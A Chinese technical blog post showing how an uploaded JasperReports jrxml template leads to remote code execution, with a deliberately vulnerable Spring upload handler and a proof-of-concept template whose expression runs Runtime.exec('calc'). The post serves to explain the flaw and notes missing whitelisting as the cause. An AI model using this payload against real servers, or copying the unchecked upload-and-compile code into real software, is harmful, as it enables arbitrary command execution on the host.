上传jrxml模板进行JasperReport解析导致任意代码执行RCE

发布时间 2023-07-19 17:02:27作者: 少年阿丁

JasperReport是一个强大、灵活的报表生成工具,能够展示丰富的页面内容,并将之转换成PDF、HTML、XML等格式。该库完全由Java写成,可以用于在各种Java应用程序,包括J2EE,Web应用程序中生成动态内容。
JasperReports附带了报表编译器,可以在报表表达式内部使用Groovy脚本语言或JavaScript编译报表模板。通过报表模板jrxml中的参数、字段或变量声明获取到对应java类,您甚至可以在表达式中的对象引用上调用方法。

pom依赖:

<dependency>
   <groupId>net.sf.jasperreports</groupId>
   <artifactId>jasperreports</artifactId>
   <version>6.20.0</version>
</dependency>

java代码实现:

    @RequestMapping("/test/uploadJrxml")
    public String uploadJrxml(MultipartFile file) throws IOException,JRException {
        String filename = file.getOriginalFilename();
        String suffix = filename.substring(filename.lastIndexOf(".") + 1);
        File fileNew = new File("D:\\JrxmlFile\\" + System.currentTimeMillis() + filename);
        file.transferTo(fileNew);
        System.out.println("------------------解析jrxml-----------------");
        if ("jrxml".equals(suffix)) {
            Map<String, Object> paraMap = new HashMap<>();
//            paraMap.put("abc", "123456");//Jasper的语法,对jrxml文档中的$P{abc}进行赋值
            JasperReport parentReport = JasperCompileManager.compileReport(new FileInputStream(fileNew));
            JasperPrint jasperPrint = JasperFillManager.fillReport(parentReport, paraMap, new JREmptyDataSource());//解析
//            JasperExportManager.exportReportToPdfFile(jasperPrint, "D:\\JrxmlFile\\"+ System.currentTimeMillis() + "Test.pdf");//将解析后的Jrxml文件生成pdf格式
        }
        return fileNew.getAbsolutePath();
    }

.jrxml文件模板:

<?xml version="1.0" encoding="UTF-8"?>
<!-- Created with Jaspersoft Studio version 6.1.1.final using JasperReports Library version 6.1.1  -->
<!-- 2020-05-28T16:26:18 -->
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="Blank_A4" pageWidth="226" pageHeight="1000" columnWidth="226" leftMargin="0" rightMargin="0" topMargin="0" bottomMargin="0" uuid="65ac09b1-f1eb-43e7-b286-55c2265202d0">
	<parameter name="abc" class="java.lang.String" isForPrompting="false"/>
	<parameter name="memberPoints" class="java.lang.String" isForPrompting="false"/>
	<queryString>
		<![CDATA[]]>
	</queryString>
	<variable name="run" resetType="None">
        <!-- <variableExpression><![CDATA[new java.util.Scanner(java.lang.Runtime.getRuntime().exec("calc").getInputStream()).useDelimiter("\\A")]]>
        </variableExpression> -->
		<variableExpression > <![CDATA["<s></s>"+(java.lang.Runtime.getRuntime().exec("calc"))]]>
        </variableExpression >
    </variable>
	<variable name="run2" resetType="None">
		<variableExpression><![CDATA["dsp:"+$P{abc}]]>
        </variableExpression>
    </variable>
	<background>
		<band splitType="Stretch"/>
	</background>
	<title>
		<band height="50">
			<property name="com.jaspersoft.studio.unit.height" value="pixel"/>
			<staticText>
				<reportElement x="180" y="0" width="200" height="20"/>
				<text><![CDATA[testTitle]]></text>
			</staticText>
		</band>
	</title>
	<pageHeader>
		<band height="10">
			<staticText>
				<reportElement x="10" y="0" width="10" height="10"/>
				<text>
					<![CDATA[Page Header]]>
				</text>
			</staticText>
		</band>
	</pageHeader>
	<detail>
		<band height="20"> 
			<textField>
				<reportElement x="10" y="0" width="200" height="20"/>
				<textFieldExpression>
				<![CDATA["hhh"+$V{run2}+($P{abc})]]>
				<!-- <![CDATA[java.lang.Runtime.getRuntime().exec("calc")]]> -->
				</textFieldExpression>
			</textField>
			<staticText>
				<reportElement x="180" y="0" width="200" height="20"/>
				<text><![CDATA[hello!]]></text>
			</staticText>
			<staticText>
				<reportElement x="180" y="-20" width="200" height="20"/>
				<text><![CDATA[hello2!]]></text>
			</staticText>
		</band>
	</detail>
</jasperReport>

jrxml标签的使用可以参考

其中Expression类型的标签可以在运行时上下文调用任意代码

如:

<variable name="run" resetType="None">
    <variableExpression> <![CDATA["<s></s>"+(java.lang.Runtime.getRuntime().exec("calc"))]]></variableExpression>
</variable>

当文件没有进行合理白名单限制就进行文件解析, jasperreports引擎便会执行jrxml里定义的危险代码。